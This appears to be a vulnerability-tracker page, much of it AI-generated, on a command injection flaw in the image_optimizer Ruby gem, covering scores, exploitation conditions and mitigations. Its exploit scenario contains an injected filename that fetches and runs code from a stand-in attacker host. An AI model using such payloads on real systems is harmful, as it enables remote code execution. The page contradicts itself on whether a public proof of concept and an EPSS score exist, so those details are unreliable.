Skip to main content

image_optimizer EUVDEUVD-2026-95149

| CVE-2026-107704 CRITICAL
OS Command Injection (CWE-78)
2026-10-08 VulnCheck GHSA-q8q6-2f24-vxv8
9.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Upload file with crafted name
  2. Delivery
    Path reaches identify_format
  3. Exploit
    Shell metacharacters injected into backticks
  4. Execution
    Arbitrary command runs as Ruby process
  5. Impact
    Host compromise / data exfiltration

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires BOTH: (1) the consuming application must invoke image_optimizer with the 'identify' option enabled so that ImageOptimizer#identify_format runs, and (2) the attacker must control the image path argument - typically via an attacker-chosen uploaded file name - so that appended shell metacharacters (e.g., ';') are passed into Ruby backtick execution in shell.rb. Executed commands run with the Ruby process's privileges. Limiting factors: if the 'identify' option is not enabled (a non-default pathway) or if image paths are server-generated/sanitized rather than user-controlled, the vulnerability is not reachable; impact is bounded by the OS privileges of the Ruby/web worker process.

Impact

This is a genuine high-priority issue, not merely a high-CVSS number. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) describes an unauthenticated, network-reachable, low-complexity flaw with full high impact to confidentiality, integrity and availability (VC:H/VI:H/VA:H), consistent with CWE-78 OS command injection that yields arbitrary command execution at the Ruby process's privilege level. A public gist (R3tro16) tied to the CVE indicates proof-of-concept exploit code likely exists, raising practical exploitability. However, several signals are missing or must be qualified: there is NO CISA KEV listing (no confirmed active exploitation), and NO EPSS score was provided, so widespread-exploitation probability cannot be quantified from this data. The CVSS AV:N/PR:N rating is optimistic for a library flaw - real exploitability is gated by two deployment conditions the score does not capture: the application must enable the 'identify' option, and the attacker must control the image path (e.g., an uploaded file name). Where both hold, treat this as critical; where 'identify' is disabled or paths are not attacker-controlled, residual risk is much lower. Net: a credible, likely PoC-backed RCE in a Ruby gem, but exploitation is conditional on application configuration rather than being universally triggerable.

Exploit ScenarioDerived

A Rails/Ruby application uses image_optimizer with the 'identify' option enabled and passes a user-influenced path (such as an uploaded file's name) into ImageOptimizer#identify_format. An attacker uploads or supplies a filename containing shell metacharacters (e.g., 'photo.jpg; curl attacker/x | sh'), which Ruby executes via backticks, running arbitrary OS commands with the web process's privileges. A public gist appears to demonstrate this technique, lowering the barrier to weaponization.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
No patch listed yet 1.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Oct 08, 2026

OS command injection in the image_optimizer Ruby gem versions 1.3.0 through 1.9.0 allows unauthenticated remote attackers to execute arbitrary shell commands with the privileges of the Ruby process by supplying an image path containing shell metacharacters such as ';'. The flaw is reachable only when the consuming application enables the 'identify' option (so that ImageOptimizer#identify_format runs) and the attacker controls the image path argument, typically through an attacker-chosen uploaded file name, which means real-world impact is bounded by the OS privileges of the Ruby/web worker process and by whether user-controlled filenames reach the gem. The CVSS 4.0 base score of 9.3 reflects high confidentiality, integrity and availability impact, and no public exploit identified at time of analysis; the included gist and VulnCheck advisory serve as the primary public technical disclosures.

RemediationAI

No vendor-released patch identified at time of analysis, so mitigation must be applied at the application and deployment layers while tracking the upstream repository (https://github.com/jtescher/image_optimizer) and the VulnCheck advisory (https://www.vulncheck.com/advisories/image-optimizer-1.3.0-through-1.9.0-os-command-injection-via-identify-format) for a fixed release; if a patched gem version is published, upgrade to it and re-run bundle update to confirm the resolved version. The most direct compensating control is to disable the 'identify' option in the image_optimizer configuration so that ImageOptimizer#identify_format is never invoked - the trade-off is the loss of automatic format detection, which may break pipelines that rely on format sniffing, so affected workflows must be reworked to determine format by other means (for example, Ruby's built-in image header parsing or a subprocess invoked with an argument array rather than a shell string). Additionally, never pass user-derived filenames into the gem: rename uploads to server-generated identifiers (UUIDs, hex tempfile names) before processing, and strictly validate or whitelist any path that must be user-influenced, rejecting shell metacharacters such as ';', '|', '&', backticks and '$(' - the trade-off is that original filenames may need to be stored separately as metadata rather than used on disk. At the code level, replacing backtick/string interpolation with exec/Open3.capture3 using an argument array eliminates shell interpretation entirely; this is the correct upstream fix and can be applied locally as a monkey patch or vendored fork, though it must be re-applied on every gem update. Finally, run the Ruby/web worker as an unprivileged, containerized user with a minimal filesystem and no unnecessary outbound network access, which does not prevent exploitation but bounds the blast radius to the privileges and reach of that process.

Affected VersionsENISA

image_optimizer 1.3.0 ≤1.9.0

Affected Packages

euvd image_optimizer no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability is a classic OS command injection (CWE-78) in a Ruby library that shells out to external image tooling. image_optimizer wraps ImageMagick/optipng-style binaries, and ImageOptimizer#identify_format (lib/image_optimizer.rb, around lines 37-47 in v1.9.0) builds a command string that embeds the caller-supplied image path and then executes it through Ruby backticks in lib/image_optimizer/shell.rb (lines 30-32). Because backticks invoke a shell (/bin/sh), any metacharacters present in the path string - ';', '|', '&&', backticks, or $() - are interpreted by the shell rather than treated as literal filename characters, so an attacker who influences the path can append and execute arbitrary commands. The CPE cpe:2.3:a:jtescher:image_optimizer:*:*:*:*:*:*:*:* identifies the affected package as the jtescher image_optimizer gem with a wildcard version, consistent with the reported range of 1.3.0 through 1.9.0; the CVSS 4.0 vector AV:N/AC:L/AT:N/PR:N/UI:N confirms a remotely reachable, unauthenticated, no-user-interaction attack when the vulnerable code path is exposed, and the independent assessment (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) agrees on network reachability and unauthenticated exploitation but emphasizes that the 'identify' option must be enabled and the path must be attacker-influenced for the injection to fire.

Know when Ruby gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.8 CRITICAL

Attacker-controlled upload path reaches backtick execution for unauthenticated RCE (AV:N/PR:N/UI:N), full host impact; scope unchanged as code runs within the Ruby process's own authority.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

The image_optimizer Ruby gem 1.3.0 through 1.9.0 contains an OS command injection vulnerability in ImageOptimizer#identify_format that allows attackers to execute commands by supplying a crafted image path when the identify option is enabled. Attackers controlling the path, such as an uploaded file name, can append shell metacharacters like ';' that are executed via Ruby backticks with the Ruby process privileges.

Executive ViewAI

Why It Matters

image_optimizer, a Ruby gem embedded in many Rails and other Ruby applications that handle uploaded images, contains a critical OS command injection flaw in versions 1.3.0 through 1.9.0 that can allow an attacker to execute arbitrary system commands on the host running the application. Because the vulnerable code path is reachable through user-supplied image filenames whenever an application has enabled the gem's image-identification option, any customer-facing upload feature built on an affected version exposes the web server's operating system privileges to an external party. With no vendor-released patch available, leadership should treat every internet-facing Ruby service using this gem as an unpatched remote code execution exposure until the affected code path is disabled or the dependency is removed.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: disable the 'identify' option so ImageOptimizer#identify_format is not called; never pass user-controlled filenames as image paths (use server-generated names with extensions re-derived from validated content type); strip or reject shell metacharacters in filename inputs; run Ruby/web workers as a least-privilege non-root user inside a constrained container or sandbox with restricted outbound and shell access; restrict upload processing to isolated hosts segmentable from sensitive data stores; and monitor process execution on image-handling workers for unexpected shell or child-process activity.

Threat Intelligence Overview

EPSS Score
1.7%
Top 24% exploitable
Prevalence
Low
niche single-maintainer Ruby image-processing gem, limited enterprise footprint
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 1.7%
Patch available No
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Total

Priority Score

48
Low Medium High Critical
KEV: 0
EPSS: +2
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Ruby

View all
CVE-2017-17405 HIGH POC
8.8 Dec 15

Ruby before 2.4.3 allows Net::FTP command injection. Rated high severity (CVSS 8.8), this vulnerability is remotely expl

CVE-2017-17790 CRITICAL POC
9.8 Dec 20

The lazy_initialize function in lib/resolv.rb in Ruby through 2.4.3 uses Kernel#open, which might allow Command Injectio

CVE-2017-14064 CRITICAL POC
9.8 Aug 31

Ruby through 2.2.7, 2.3.x through 2.3.4, and 2.4.x through 2.4.1 can expose arbitrary memory during a JSON.generate call

CVE-2016-2336 CRITICAL POC
9.8 Jan 06

Type confusion exists in two methods of Ruby's WIN32OLE class, ole_invoke and ole_query_interface. Rated critical severi

CVE-2026-77602 CRITICAL POC
9.9 Sep 23

Authenticated remote code execution in OpenC3 COSMOS (Ruby gem 'openc3' versions 5.1.0 through 7.2.1) lets any logged-in

CVE-2016-2337 CRITICAL POC
9.8 Jan 06

Type confusion exists in _cancel_eval Ruby's TclTkIp class method. Rated critical severity (CVSS 9.8), this vulnerabilit

CVE-2016-2339 CRITICAL POC
9.8 Jan 06

An exploitable heap overflow vulnerability exists in the Fiddle::Function.new "initialize" function functionality of Rub

CVE-2017-9225 CRITICAL POC
9.8 May 24

An issue was discovered in Oniguruma 6.2.0, as used in Oniguruma-mod in Ruby through 2.4.1 and mbstring in PHP through 7

CVE-2026-27614 CRITICAL POC
9.3 Feb 25

Stored XSS in Bugsink error tracking tool before 2.0.13 allows unauthenticated attackers to inject persistent scripts th

CVE-2017-0898 CRITICAL POC
9.1 Sep 15

Ruby before 2.4.2, 2.3.5, and 2.2.8 is vulnerable to a malicious format string which contains a precious specifier (*) w

CVE-2013-4164 MEDIUM POC
6.8 Nov 23

Heap-based buffer overflow in Ruby 1.8, 1.9 before 1.9.3-p484, 2.0 before 2.0.0-p353, 2.1 before 2.1.0 preview2, and tru

CVE-2026-71847 HIGH POC
8.7 Aug 07

Heap-use-after-free in the Ruby json gem's native C extension (versions 2.20.0 through 2.21.1) allows an unauthenticated

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy